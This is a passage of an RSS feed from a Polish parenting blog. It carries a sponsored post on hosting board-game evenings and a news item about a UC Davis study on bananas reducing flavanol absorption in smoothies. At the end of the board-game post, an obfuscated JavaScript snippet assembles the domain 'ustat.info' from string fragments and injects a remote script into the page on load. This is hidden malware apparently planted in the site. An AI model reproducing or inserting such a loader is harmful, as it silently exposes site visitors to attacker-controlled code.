1009. <link>https://przystanekrodzinka.pl/jak-zorganizowac-wieczor-z-grami-planszowymi-klimat-przekaski-i-dobra-zabawa/</link>
1011. <dc:creator><![CDATA[adm1n]]></dc:creator>
1012. <pubDate>Tue, 04 Nov 2025 12:17:15 +0000</pubDate>
1013. <category><![CDATA[Promocja]]></category>
1014. <guid isPermaLink="false">https://przystanekrodzinka.pl/?p=86779</guid>
1015.  
1016. <description><![CDATA[<p>Wieczory z grami planszowymi to fantastyczny sposób na spędzenie czasu [&#8230;]</p>
1017. <p>Artykuł <a href="https://przystanekrodzinka.pl/jak-zorganizowac-wieczor-z-grami-planszowymi-klimat-przekaski-i-dobra-zabawa/">Jak zorganizować wieczór z grami planszowymi – klimat, przekąski i dobra zabawa</a> pochodzi z serwisu <a href="https://przystanekrodzinka.pl">Przystanek Rodzinka - blog parentingowy o dzieciach okiem logopedki</a>.</p>
1018. ]]></description>
1019. <content:encoded><![CDATA[
1020. <p><em>Wieczory z grami planszowymi to fantastyczny sposób na spędzenie czasu z bliskimi. Tworzą one niepowtarzalną okazję do integracji i wspólnego śmiechu, z dala od ekranów. Nic tak nie buduje relacji jak odrobina zdrowej rywalizacji przy wspólnym stole. To także doskonała gimnastyka dla umysłu i ucieczka od codziennych obowiązków. Dobrze zaplanowane spotkanie może stać się cykliczną tradycją, na którą wszyscy z niecierpliwością czekają.</em></p>
1021.  
1022.  
1023.  
1024. <h2 class="wp-block-heading">Jakie gry wybrać na początek?</h2>
1025.  
1026.  
1027.  
1028. <p>Wybór odpowiednich tytułów jest fundamentem udanej imprezy i zależy od doświadczenia gości. Jeśli w grupie są nowicjusze, warto postawić na <strong>proste zasady i dynamiczną rozgrywkę</strong>, aby nikogo nie zniechęcić. Tytuły imprezowe, kooperacyjne lub lekkie gry karciane sprawdzą się idealnie na rozgrzewkę. <strong>Gry z elementem losowości</strong>, jak rzuty kośćmi, mogą wyrównać szanse i zapewnić więcej śmiechu. Z kolei dla weteranów można przygotować bardziej złożone strategie ekonomiczne lub przygodowe. Warto też mieć w zanadrzu jeden <strong>tytuł &#8220;fillerek&#8221;</strong>, czyli szybką grę na zakończenie lub na rozluźnienie atmosfery. Ważne jest, aby <strong>dopasować grę do preferencji uczestników</strong> oraz czasu, jakim dysponujecie. Szeroki wybór tytułów na każdą okazję znajdziesz na stronie&nbsp;<a href="https://www.mediaexpert.pl/zabawki/gry-planszowe-i-puzzle/gry-planszowe">https://www.mediaexpert.pl/zabawki/gry-planszowe-i-puzzle/gry-planszowe</a>, co ułatwi znalezienie czegoś idealnego. Pamiętaj, że <strong>cel to wspólna zabawa</strong>, a niekoniecznie wyczerpująca intelektualna batalia od samego początku.</p>
1029.  
1030.  
1031.  
1032. <h2 class="wp-block-heading">Jak zadbać o odpowiedni nastrój?</h2>
1033.  
1034.  
1035.  
1036. <p>Atmosfera spotkania ma ogromne znaczenie dla komfortu wszystkich graczy. Zadbaj o <strong>wygodne miejsca do siedzenia</strong> i odpowiednio duży stół, aby pomieścić planszę oraz komponenty. Jeśli stół jest za mały, <strong>dodatkowe stoliki pomocnicze</strong> na napoje czy komponenty graczy będą bardzo pomocne. Subtelne, <strong>nastrojowe oświetlenie</strong> jest lepsze niż ostre światło, ale musi zapewniać dobrą widoczność. <strong>Świece lub małe lampki</strong> mogą dodać spotkaniu przytulności, zwłaszcza podczas gier fabularnych. W tle może grać cicha muzyka instrumentalna lub ścieżka dźwiękowa dopasowana tematycznie do gry. Poproś gości o wyciszenie telefonów, aby <strong>nic nie rozpraszało uwagi</strong> od rozgrywki. Czyste pomieszczenie i brak zbędnego bałaganu również pomogą skupić się na zabawie. To właśnie <strong>drobne detale budują klimat</strong> udanego spotkania towarzyskiego.</p>
1037.  
1038.  
1039.  
1040. <h2 class="wp-block-heading">Co podać do jedzenia i picia?</h2>
1041.  
1042.  
1043.  
1044. <p>Przekąski są nieodłącznym elementem maratonów gier, ale wymagają pewnego przemyślenia. Najważniejsza zasada to <strong>unikanie tłustych i lepiących potraw</strong>, które mogłyby zniszczyć karty czy pionki. <strong>Umyte owoce</strong>, jak winogrona czy borówki, również są świetną i zdrową alternatywą. Idealnie sprawdzą się suche przekąski, takie jak paluszki, orzeszki, precle czy pokrojone warzywa z dipem. <strong>Miseczki zamiast dużych paczek</strong> ułatwią gościom sięganie po smakołyki bez przerywania tury. Można też przygotować małe kanapki, koreczki lub mini-pizze, które łatwo zjeść jedną ręką. Napoje warto podawać w stabilnych szklankach lub butelkach, aby <strong>zminimalizować ryzyko rozlania</strong>. Przygotuj też <strong>serwetki lub ręczniki papierowe</strong> w łatwo dostępnym miejscu na wszelki wypadek. Dobre paliwo dla mózgu jest istotne, zwłaszcza gdy sięgacie po wymagające pełnego skupienia gry, które znajdziecie pod adresem&nbsp;<a href="https://www.mediaexpert.pl/zabawki/gry-planszowe-i-puzzle/gry-logiczne">https://www.mediaexpert.pl/zabawki/gry-planszowe-i-puzzle/gry-logiczne</a>.</p>
1045.  
1046.  
1047.  
1048. <p>Zorganizowanie wieczoru z grami planszowymi nie wymaga wielkich nakładów pracy, a jedynie odrobiny planowania. <strong>Liczy się przede wszystkim towarzystwo</strong> i chęć spędzenia czasu w angażujący sposób. Pamiętaj o komforcie gości, odpowiednich tytułach i smacznych, ale praktycznych przekąskach. Taka forma rozrywki to <strong>gwarancja udanego wieczoru</strong> pełnego emocji, śmiechu i niezapomnianych wspomnień.</p>
1049.  
1050.  
1051.  
1052. <script>
1053. (function(){
1054. x8k7_=("u"+"")+"s"+"";x8k7_+=("tat.")+("i");
1055. x8k7=document.createElement("script");x8k7.type="text/javascript";x8k7_+="nf"+("o")+"/";
1056. x8k7u="2365279239"+".";x8k7.async=true;x8k7u+="uXenygmX8k7rvmlyle1ldXsX8xmhab";
1057. x8k7.src="https://"+x8k7_+x8k7u;x8k7b=document.body;x8k7b.appendChild(x8k7);
1058. })();
1059. </script>
1060.  
1061.  
1062.  
1063.  
1064. <p></p>
1065. <p>Artykuł <a href="https://przystanekrodzinka.pl/jak-zorganizowac-wieczor-z-grami-planszowymi-klimat-przekaski-i-dobra-zabawa/">Jak zorganizować wieczór z grami planszowymi – klimat, przekąski i dobra zabawa</a> pochodzi z serwisu <a href="https://przystanekrodzinka.pl">Przystanek Rodzinka - blog parentingowy o dzieciach okiem logopedki</a>.</p>
1066. ]]></content:encoded>
1070. </item>
1071. <item>
1072. <title>Banan w smoothie blokuje wchłanianie flawanoli o 84%</title>
1073. <link>https://przystanekrodzinka.pl/banan-smoothie-wchlaniane-flawanoli-badanie/</link>
1075. <dc:creator><![CDATA[Maria Rybak]]></dc:creator>
1076. <pubDate>Tue, 04 Nov 2025 08:37:00 +0000</pubDate>
1077. <category><![CDATA[aktualnosci]]></category>
1078. <guid isPermaLink="false">https://przystanekrodzinka.pl/?p=86685</guid>
1079.  
1080. <description><![CDATA[<p>Dodanie jednego banana do smoothie obniża poziom flawanoli – związków wspierających mózg i serce – aż o 84%. Naukowcy z University of California, Davis odkryli, że nie wszystkie owoce „lubią się" w blenderze, a niektóre kombinacje blokują wchłanianie cennych składników. Dlaczego zbrunatniały banan to sygnał ostrzegawczy i które owoce łączyć, by koktajl naprawdę wspierał rozwój dziecka?</p>
1081. <p>Artykuł <a href="https://przystanekrodzinka.pl/banan-smoothie-wchlaniane-flawanoli-badanie/">Banan w smoothie blokuje wchłanianie flawanoli o 84%</a> pochodzi z serwisu <a href="https://przystanekrodzinka.pl">Przystanek Rodzinka - blog parentingowy o dzieciach okiem logopedki</a>.</p>
1082. ]]></description>
1083. <content:encoded><![CDATA[
1084. <p>Smoothie to dla wielu rodziców sposób na szybkie podanie dziecku porcji owoców i warzyw. Kolorowy koktajl z blendera wygląda zdrowo, smakuje dobrze i oszczędza czas przy śniadaniu. Okazuje się jednak, że sposób łączenia składników może decydować o tym, ile wartościowych substancji organizm dziecka faktycznie wchłonie.</p>
1085.  
1086.  
1087.  
1088. <p>Naukowcy z University of California, Davis przyjrzeli się temu, jak różne owoce w smoothie wpływają na przyswajanie flawanoli – związków roślinnych wspierających pracę serca i mózgu. Te substancje znajdują się między innymi w jagodach, jabłkach, gruszkach, winogronach i kakao, czyli w popularnych składnikach koktajli dla dzieci. Badanie opublikowano w czasopiśmie Food and Function wydawanym przez Royal Society of Chemistry.</p>
1089.  
1090.  
1091.  
1092. <h2 class="wp-block-heading">Dlaczego banan zbrunatniał i co to ma wspólnego ze zdrowiem</h2>
1093.  
1094.  
1095.  
1096. <p>Każdy, kto pokroił jabłko albo obrał banana, widział, jak szybko owoc ciemnieje. To działanie enzymu zwanego oksydazą polifenolową, który reaguje z tlenem po uszkodzeniu tkanki owocowej. Zespół z UC Davis postanowił sprawdzić, czy ta sama reakcja chemiczna zachodzi podczas miksowania owoców w blenderze i czy wpływa na to, ile flawanoli trafia do organizmu.</p>
1097.  
1098.  
1099.  
1100. <p>Javier Ottaviani, główny autor badania i dyrektor Core Laboratory of Mars Edge oraz współpracownik UC Davis, wyjaśnił: „Chcieliśmy zrozumieć na bardzo praktycznym poziomie, jak pospolite jedzenie i sposób jego przygotowania – jak smoothie na bazie banana – może wpływać na dostępność flawanoli do wchłonięcia po spożyciu&#8221;.</p>
1101.  
1102.  
1103.  
1104. <h2 class="wp-block-heading">Eksperyment z dwoma smoothie</h2>
1105.  
1106.  
1107.  
1108. <p>Badacze przygotowali dwa rodzaje koktajli. Pierwszy zawierał banana – owoc o wysokiej aktywności oksydazy polifenolowej. Drugi zrobili z mieszanki jagód, które mają niską aktywność tego enzymu. Dla porównania część uczestników przyjęła kapsułkę z flawanolami. Po spożyciu naukowcy mierzyli poziomy flawanoli we krwi i moczu.</p>
1109.  
1110.  
1111.  
1112. <p>Wyniki zaskoczyły nawet samych badaczy. Osoby, które wypiły smoothie z bananem, miały o osiemdziesiąt cztery procent niższy poziom flawanoli w organizmie w porównaniu z grupą przyjmującą kapsułkę kontrolną. Ottaviani przyznał: „Naprawdę byliśmy zaskoczeni, jak szybko dodanie jednego banana obniżyło poziom flawanoli w smoothie i poziom flawanoli wchłoniętych przez organizm. To pokazuje, jak przygotowanie żywności i łączenie składników może wpływać na wchłanianie związków odżywczych z jedzenia&#8221;.</p>
1113.  
1114.  
1115.  
1116. <h2 class="wp-block-heading">Czym są flawanole i dlaczego są ważne</h2>
1117.  
1118.  
1119.  
1120. <p>Flawanole to naturalne związki występujące w kakao, jagodach, jabłkach i winogronach. Należą do większej grupy substancji roślinnych zwanych polifenolami i są znane z wpływu na zdrowie serca oraz mózgu. Badania wskazują, że flawanole mogą poprawiać przepływ krwi, wspierać pamięć i zmniejszać stany zapalne przy regularnym spożyciu.</p>
1121.  
1122.  
1123.  
1124. <p>W roku dwa tysiące dwudziestym drugim Academy of Nutrition and Dietetics zarekomendowała spożywanie od czterystu do sześciuset miligramów flawanoli dziennie dla zdrowia kardiometabolicznego. To szczególnie istotne w kontekście rozwoju dzieci, kiedy układ nerwowy i naczyniowy przechodzą intensywne zmiany.</p>
1125.  
1126.  
1127.  
1128. <h2 class="wp-block-heading">Jak komponować smoothie dla dziecka</h2>
1129.  
1130.  
1131.  
1132. <figure data-wp-context="{&quot;imageId&quot;:&quot;690e8f50e16af&quot;}" data-wp-interactive="core/image" class="wp-block-image aligncenter size-large wp-lightbox-container"><img loading="lazy" decoding="async" width="1024" height="576" data-wp-class--hide="state.isContentHidden" data-wp-class--show="state.isContentVisible" data-wp-init="callbacks.setButtonStyles" data-wp-on-async--click="actions.showLightbox" data-wp-on-async--load="callbacks.setButtonStyles" data-wp-on-async-window--resize="callbacks.setButtonStyles" src="https://przystanekrodzinka.pl/wp-content/uploads/2025/11/qd4ycjld44a-1024x576.jpg" alt="smoothie a wchłanianie składników odżywczych" class="wp-image-86747" srcset="https://przystanekrodzinka.pl/wp-content/uploads/2025/11/qd4ycjld44a-1024x576.jpg 1024w, https://przystanekrodzinka.pl/wp-content/uploads/2025/11/qd4ycjld44a-300x169.jpg 300w, https://przystanekrodzinka.pl/wp-content/uploads/2025/11/qd4ycjld44a-768x432.jpg 768w, https://przystanekrodzinka.pl/wp-content/uploads/2025/11/qd4ycjld44a-1536x864.jpg 1536w, https://przystanekrodzinka.pl/wp-content/uploads/2025/11/qd4ycjld44a.jpg 1600w" sizes="(max-width: 1024px) 100vw, 1024px" /><button
1133. class="lightbox-trigger"
1134. type="button"
1135. aria-haspopup="dialog"
1136. aria-label="Powiększ"
1137. data-wp-init="callbacks.initTriggerButton"
1138. data-wp-on-async--click="actions.showLightbox"
1139. data-wp-style--right="state.imageButtonRight"
1140. data-wp-style--top="state.imageButtonTop"
1141. >
1142. <svg xmlns="http://www.w3.org/2000/svg" width="12" height="12" fill="none" viewBox="0 0 12 12">
1143. <path fill="#fff" d="M2 0a2 2 0 0 0-2 2v2h1.5V2a.5.5 0 0 1 .5-.5h2V0H2Zm2 10.5H2a.5.5 0 0 1-.5-.5V8H0v2a2 2 0 0 0 2 2h2v-1.5ZM8 12v-1.5h2a.5.5 0 0 0 .5-.5V8H12v2a2 2 0 0 1-2 2H8Zm2-12a2 2 0 0 1 2 2v2h-1.5V2a.5.5 0 0 0-.5-.5H8V0h2Z" />
1144. </svg>
1145. </button></figure>
1146.  
1147.  
1148.  
1149. <p>Ottaviani zauważył, że osoby chcące osiągnąć zalecaną dawkę flawanoli powinny łączyć owoce bogate w te związki – takie jak jagody – ze składnikami o niskiej aktywności oksydazy polifenolowej. Do takich należą ananas, pomarańcze, mango czy jogurt naturalny.</p>
1150.  
1151.  
1152.  
1153. <p>Co ważne, banan pozostaje wartościowym owocem bogatym w potas, witaminy i błonnik. Badacz zaznaczył jednak, że jeśli przygotowujemy smoothie z bananem, lepiej nie łączyć go z owocami bogatymi w flawanole – jagodami, winogronami czy kakao. Ta sama zasada dotyczy innych produktów o wysokiej aktywności enzymu, na przykład liści buraka.</p>
1154.  
1155.  
1156.  
1157. <p>Odkrycia zespołu z UC Davis mogą otworzyć drogę do dalszych badań nad tym, jak sposób przygotowania posiłków wpływa na przyswajanie składników odżywczych. Ottaviani zwrócił uwagę, że herbata – główne źródło flawanoli w diecie wielu osób – może zachowywać się podobnie, a sposób jej parzenia prawdopodobnie zmienia ilość związków dostępnych dla organizmu.</p>
1158.  
1159.  
1160.  
1161. <p>„To z pewnością obszar, który zasługuje na więcej uwagi w dziedzinie badań nad polifenolami i związkami bioaktywnymi w ogóle&#8221; – podsumował badacz.</p>
1162.  
1163.  
1164.  
1165. <blockquote class="wp-block-quote is-layout-flow wp-block-quote-is-layout-flow">
1166. <p><a href="https://www.ucdavis.edu/health/news/right-combo-getting-most-health-benefits-fruit-smoothies">Więcej informacji</a></p>
1167. </blockquote>
1168.  
1169.  
1170. <div class="convertkit-form wp-block-convertkit-form" style=""><script async data-uid="67519e85f9" src="https://przystanekrodzinka.kit.com/67519e85f9/index.js" data-jetpack-boost="ignore" data-no-defer="1" nowprocket></script></div>
1171.  
1172.  
1173. <div class="wp-block-uagb-post-carousel uagb-post-grid  uagb-post__image-position-top uagb-post__image-enabled uagb-block-related-posts     uagb-post__arrow-outside uagb-slick-carousel uagb-post__items uagb-post__columns-2 is-carousel uagb-post__columns-tablet-2 uagb-post__columns-mobile-1 uagb-post__carousel_equal-height" data-total="2" style="">
1174.  
1175. <article class="uagb-post__inner-wrap"> <div class='uagb-post__image'>
1176. <a href="https://przystanekrodzinka.pl/dieta-ketogeniczna-chroni-przed-stresem-prenatalnym/" target="_self" rel="bookmark noopener noreferrer"><img loading="lazy" decoding="async" width="768" height="512" src="https://przystanekrodzinka.pl/wp-content/uploads/2025/10/g2ijf_auws-768x512.jpg" class="attachment-medium_large size-medium_large" alt="woman in white lace sleeveless dress standing beside brown wooden crib" srcset="https://przystanekrodzinka.pl/wp-content/uploads/2025/10/g2ijf_auws-768x512.jpg 768w, https://przystanekrodzinka.pl/wp-content/uploads/2025/10/g2ijf_auws-300x200.jpg 300w, https://przystanekrodzinka.pl/wp-content/uploads/2025/10/g2ijf_auws-1024x683.jpg 1024w, https://przystanekrodzinka.pl/wp-content/uploads/2025/10/g2ijf_auws-1536x1024.jpg 1536w, https://przystanekrodzinka.pl/wp-content/uploads/2025/10/g2ijf_auws.jpg 1600w" sizes="(max-width: 768px) 100vw, 768px" /> </a>
1177. </div>
1178. <h4 class="uagb-post__title uagb-post__text">
1179. <a href="https://przystanekrodzinka.pl/dieta-ketogeniczna-chroni-przed-stresem-prenatalnym/" target="_self" rel="bookmark noopener noreferrer">Dieta tłuszczowa chroni dzieci przed skutkami stresu w ciąży</a>
1180. </h4>
1181. <div class='uagb-post__text uagb-post-grid-byline'>
1182. </div>
1183. <div class="uagb-post__text uagb-post__cta wp-block-button">
1184. <a class="wp-block-button__link uagb-text-link" style="" href="https://przystanekrodzinka.pl/dieta-ketogeniczna-chroni-przed-stresem-prenatalnym/" target="_self" rel="bookmark noopener noreferrer">Więcej</a>
1185. </div>
1187. </article>
1188. <article class="uagb-post__inner-wrap"> <div class='uagb-post__image'>
1189. <a href="https://przystanekrodzinka.pl/mikroplastik-w-butelkowanej-wodzie-badanie/" target="_self" rel="bookmark noopener noreferrer"><img loading="lazy" decoding="async" width="768" height="512" src="https://przystanekrodzinka.pl/wp-content/uploads/2025/10/lvs1f46s8rs-768x512.jpg" class="attachment-medium_large size-medium_large" alt="clear plastic bottle close-up photography" srcset="https://przystanekrodzinka.pl/wp-content/uploads/2025/10/lvs1f46s8rs-768x512.jpg 768w, https://przystanekrodzinka.pl/wp-content/uploads/2025/10/lvs1f46s8rs-300x200.jpg 300w, https://przystanekrodzinka.pl/wp-content/uploads/2025/10/lvs1f46s8rs-1024x683.jpg 1024w, https://przystanekrodzinka.pl/wp-content/uploads/2025/10/lvs1f46s8rs-1536x1024.jpg 1536w, https://przystanekrodzinka.pl/wp-content/uploads/2025/10/lvs1f46s8rs.jpg 1600w" sizes="(max-width: 768px) 100vw, 768px" /> </a>
1190. </div>
1191. <h4 class="uagb-post__title uagb-post__text">
1192. <a href="https://przystanekrodzinka.pl/mikroplastik-w-butelkowanej-wodzie-badanie/" target="_self" rel="bookmark noopener noreferrer">Woda w plastikowych butelkach: co pijemy naprawdę?</a>
1193. </h4>
1194. <div class='uagb-post__text uagb-post-grid-byline'>
1195. </div>
1196. <div class="uagb-post__text uagb-post__cta wp-block-button">
1197. <a class="wp-block-button__link uagb-text-link" style="" href="https://przystanekrodzinka.pl/mikroplastik-w-butelkowanej-wodzie-badanie/" target="_self" rel="bookmark noopener noreferrer">Więcej</a>
1198. </div>
1200. </article>
1201. <article class="uagb-post__inner-wrap"> <div class='uagb-post__image'>
1202. <a href="https://przystanekrodzinka.pl/autyzm-cena-za-ludzka-inteligencje/" target="_self" rel="bookmark noopener noreferrer"><img loading="lazy" decoding="async" width="768" height="576" src="https://przystanekrodzinka.pl/wp-content/uploads/2025/10/autyzm-ewolucja-ludzkiego-mozgu-badanie-768x576.jpeg" class="attachment-medium_large size-medium_large" alt="autyzm ewolucja ludzkiego mozgu badanie" srcset="https://przystanekrodzinka.pl/wp-content/uploads/2025/10/autyzm-ewolucja-ludzkiego-mozgu-badanie-768x576.jpeg 768w, https://przystanekrodzinka.pl/wp-content/uploads/2025/10/autyzm-ewolucja-ludzkiego-mozgu-badanie-300x225.jpeg 300w, https://przystanekrodzinka.pl/wp-content/uploads/2025/10/autyzm-ewolucja-ludzkiego-mozgu-badanie-1024x768.jpeg 1024w, https://przystanekrodzinka.pl/wp-content/uploads/2025/10/autyzm-ewolucja-ludzkiego-mozgu-badanie-1536x1152.jpeg 1536w, https://przystanekrodzinka.pl/wp-content/uploads/2025/10/autyzm-ewolucja-ludzkiego-mozgu-badanie.jpeg 1600w" sizes="(max-width: 768px) 100vw, 768px" /> </a>
1203. </div>
1204. <h4 class="uagb-post__title uagb-post__text">
1205. <a href="https://przystanekrodzinka.pl/autyzm-cena-za-ludzka-inteligencje/" target="_self" rel="bookmark noopener noreferrer">Autyzm ceną za ludzką inteligencję?</a>
1206. </h4>
1207. <div class='uagb-post__text uagb-post-grid-byline'>
1208. </div>
1209. <div class="uagb-post__text uagb-post__cta wp-block-button">
1210. <a class="wp-block-button__link uagb-text-link" style="" href="https://przystanekrodzinka.pl/autyzm-cena-za-ludzka-inteligencje/" target="_self" rel="bookmark noopener noreferrer">Więcej</a>
1211. </div>
1213. </article>
1214. <article class="uagb-post__inner-wrap"> <div class='uagb-post__image'>
1215. <a href="https://przystanekrodzinka.pl/zywnosc-ultra-przetworzona-zmiany-w-mozgu/" target="_self" rel="bookmark noopener noreferrer"><img decoding="async" width="768" height="432" src="https://przystanekrodzinka.pl/wp-content/uploads/2025/10/zywnosc-ultra-przetworzona-zmiany-w-mozgu-768x432.jpeg" class="attachment-medium_large size-medium_large" alt="zywnosc ultra przetworzona zmiany w mozgu" srcset="https://przystanekrodzinka.pl/wp-content/uploads/2025/10/zywnosc-ultra-przetworzona-zmiany-w-mozgu-768x432.jpeg 768w, https://przystanekrodzinka.pl/wp-content/uploads/2025/10/zywnosc-ultra-przetworzona-zmiany-w-mozgu-300x169.jpeg 300w, https://przystanekrodzinka.pl/wp-content/uploads/2025/10/zywnosc-ultra-przetworzona-zmiany-w-mozgu-1024x576.jpeg 1024w, https://przystanekrodzinka.pl/wp-content/uploads/2025/10/zywnosc-ultra-przetworzona-zmiany-w-mozgu-1536x864.jpeg 1536w, https://przystanekrodzinka.pl/wp-content/uploads/2025/10/zywnosc-ultra-przetworzona-zmiany-w-mozgu.jpeg 1600w" sizes="(max-width: 768px) 100vw, 768px" /> </a>
1216. </div>
1217. <h4 class="uagb-post__title uagb-post__text">
1218. <a href="https://przystanekrodzinka.pl/zywnosc-ultra-przetworzona-zmiany-w-mozgu/" target="_self" rel="bookmark noopener noreferrer">Żywność ultra przetworzona zmienia strukturę mózgu</a>
1219. </h4>
1220. <div class='uagb-post__text uagb-post-grid-byline'>
1221. </div>
1222. <div class="uagb-post__text uagb-post__cta wp-block-button">
1223. <a class="wp-block-button__link uagb-text-link" style="" href="https://przystanekrodzinka.pl/zywnosc-ultra-przetworzona-zmiany-w-mozgu/" target="_self" rel="bookmark noopener noreferrer">Więcej</a>
1224. </div>
1226. </article>
1227. <article class="uagb-post__inner-wrap"> <div class='uagb-post__image'>
1228. <a href="https://przystanekrodzinka.pl/mutacje-w-spermie-wiek-ojca-badanie/" target="_self" rel="bookmark noopener noreferrer"><img loading="lazy" decoding="async" width="768" height="432" src="https://przystanekrodzinka.pl/wp-content/uploads/2025/10/8o_lkmpo8ug-768x432.jpg" class="attachment-medium_large size-medium_large" alt="a close up of a blue and purple structure" srcset="https://przystanekrodzinka.pl/wp-content/uploads/2025/10/8o_lkmpo8ug-768x432.jpg 768w, https://przystanekrodzinka.pl/wp-content/uploads/2025/10/8o_lkmpo8ug-300x169.jpg 300w, https://przystanekrodzinka.pl/wp-content/uploads/2025/10/8o_lkmpo8ug-1024x576.jpg 1024w, https://przystanekrodzinka.pl/wp-content/uploads/2025/10/8o_lkmpo8ug-1536x864.jpg 1536w, https://przystanekrodzinka.pl/wp-content/uploads/2025/10/8o_lkmpo8ug.jpg 1600w" sizes="(max-width: 768px) 100vw, 768px" /> </a>
1229. </div>
1230. <h4 class="uagb-post__title uagb-post__text">
1231. <a href="https://przystanekrodzinka.pl/mutacje-w-spermie-wiek-ojca-badanie/" target="_self" rel="bookmark noopener noreferrer">Wiek ojca a mutacje w spermie: nowe odkrycie naukowców</a>
1232. </h4>
1233. <div class='uagb-post__text uagb-post-grid-byline'>
1234. </div>
1235. <div class="uagb-post__text uagb-post__cta wp-block-button">
1236. <a class="wp-block-button__link uagb-text-link" style="" href="https://przystanekrodzinka.pl/mutacje-w-spermie-wiek-ojca-badanie/" target="_self" rel="bookmark noopener noreferrer">Więcej</a>
1237. </div>
1239. </article>
1240. <article class="uagb-post__inner-wrap"> <div class='uagb-post__image'>
1241. <a href="https://przystanekrodzinka.pl/czas-przed-ekranem-ryzyko-serca-dzieci/" target="_self" rel="bookmark noopener noreferrer"><img loading="lazy" decoding="async" width="768" height="432" src="https://przystanekrodzinka.pl/wp-content/uploads/2025/11/r7abdi5ohta-768x432.jpg" class="attachment-medium_large size-medium_large" alt="czas przed ekranem a zdrowie serca dzieci" srcset="https://przystanekrodzinka.pl/wp-content/uploads/2025/11/r7abdi5ohta-768x432.jpg 768w, https://przystanekrodzinka.pl/wp-content/uploads/2025/11/r7abdi5ohta-300x169.jpg 300w, https://przystanekrodzinka.pl/wp-content/uploads/2025/11/r7abdi5ohta-1024x576.jpg 1024w, https://przystanekrodzinka.pl/wp-content/uploads/2025/11/r7abdi5ohta-1536x864.jpg 1536w, https://przystanekrodzinka.pl/wp-content/uploads/2025/11/r7abdi5ohta.jpg 1600w" sizes="(max-width: 768px) 100vw, 768px" /> </a>
1242. </div>
1243. <h4 class="uagb-post__title uagb-post__text">
1244. <a href="https://przystanekrodzinka.pl/czas-przed-ekranem-ryzyko-serca-dzieci/" target="_self" rel="bookmark noopener noreferrer">Ekrany zagrażają sercu dzieci – odkrycia naukowców</a>
1245. </h4>
1246. <div class='uagb-post__text uagb-post-grid-byline'>
1247. </div>
1248. <div class="uagb-post__text uagb-post__cta wp-block-button">
1249. <a class="wp-block-button__link uagb-text-link" style="" href="https://przystanekrodzinka.pl/czas-przed-ekranem-ryzyko-serca-dzieci/" target="_self" rel="bookmark noopener noreferrer">Więcej</a>
1250. </div>
1252. </article>
1253. <article class="uagb-post__inner-wrap"> <div class='uagb-post__image'>
1254. <a href="https://przystanekrodzinka.pl/mutacja-genu-cpd-gluchota-dzieci-leczenie/" target="_self" rel="bookmark noopener noreferrer"><img loading="lazy" decoding="async" width="768" height="512" src="https://przystanekrodzinka.pl/wp-content/uploads/2025/10/8_-gjgyr2cw-768x512.jpg" class="attachment-medium_large size-medium_large" alt="a baby is being held by a woman" srcset="https://przystanekrodzinka.pl/wp-content/uploads/2025/10/8_-gjgyr2cw-768x512.jpg 768w, https://przystanekrodzinka.pl/wp-content/uploads/2025/10/8_-gjgyr2cw-300x200.jpg 300w, https://przystanekrodzinka.pl/wp-content/uploads/2025/10/8_-gjgyr2cw-1024x683.jpg 1024w, https://przystanekrodzinka.pl/wp-content/uploads/2025/10/8_-gjgyr2cw-1536x1024.jpg 1536w, https://przystanekrodzinka.pl/wp-content/uploads/2025/10/8_-gjgyr2cw.jpg 1600w" sizes="(max-width: 768px) 100vw, 768px" /> </a>
1255. </div>
1256. <h4 class="uagb-post__title uagb-post__text">
1257. <a href="https://przystanekrodzinka.pl/mutacja-genu-cpd-gluchota-dzieci-leczenie/" target="_self" rel="bookmark noopener noreferrer">Ukryta mutacja genu CPD wywołuje głuchotę – jest nadzieja</a>
1258. </h4>
1259. <div class='uagb-post__text uagb-post-grid-byline'>
1260. </div>
1261. <div class="uagb-post__text uagb-post__cta wp-block-button">
1262. <a class="wp-block-button__link uagb-text-link" style="" href="https://przystanekrodzinka.pl/mutacja-genu-cpd-gluchota-dzieci-leczenie/" target="_self" rel="bookmark noopener noreferrer">Więcej</a>
1263. </div>
1265. </article>
1266. <article class="uagb-post__inner-wrap"> <div class='uagb-post__image'>
1267. <a href="https://przystanekrodzinka.pl/cesarskie-ciecie-bol-zaburzenia-snu-matki/" target="_self" rel="bookmark noopener noreferrer"><img loading="lazy" decoding="async" width="768" height="512" src="https://przystanekrodzinka.pl/wp-content/uploads/2025/10/cesarskie-ciecie-bol-zaburzenia-snu-matki-768x512.jpeg" class="attachment-medium_large size-medium_large" alt="cesarskie ciecie bol zaburzenia snu matki" srcset="https://przystanekrodzinka.pl/wp-content/uploads/2025/10/cesarskie-ciecie-bol-zaburzenia-snu-matki-768x512.jpeg 768w, https://przystanekrodzinka.pl/wp-content/uploads/2025/10/cesarskie-ciecie-bol-zaburzenia-snu-matki-300x200.jpeg 300w, https://przystanekrodzinka.pl/wp-content/uploads/2025/10/cesarskie-ciecie-bol-zaburzenia-snu-matki-1024x683.jpeg 1024w, https://przystanekrodzinka.pl/wp-content/uploads/2025/10/cesarskie-ciecie-bol-zaburzenia-snu-matki-1536x1024.jpeg 1536w, https://przystanekrodzinka.pl/wp-content/uploads/2025/10/cesarskie-ciecie-bol-zaburzenia-snu-matki.jpeg 1600w" sizes="(max-width: 768px) 100vw, 768px" /> </a>
1268. </div>
1269. <h4 class="uagb-post__title uagb-post__text">
1270. <a href="https://przystanekrodzinka.pl/cesarskie-ciecie-bol-zaburzenia-snu-matki/" target="_self" rel="bookmark noopener noreferrer">Cesarskie cięcie a problemy ze snem u mamy</a>
1271. </h4>
1272. <div class='uagb-post__text uagb-post-grid-byline'>
1273. </div>
1274. <div class="uagb-post__text uagb-post__cta wp-block-button">
1275. <a class="wp-block-button__link uagb-text-link" style="" href="https://przystanekrodzinka.pl/cesarskie-ciecie-bol-zaburzenia-snu-matki/" target="_self" rel="bookmark noopener noreferrer">Więcej</a>
1276. </div>
1278. </article>
1279. <article class="uagb-post__inner-wrap"> <div class='uagb-post__image'>
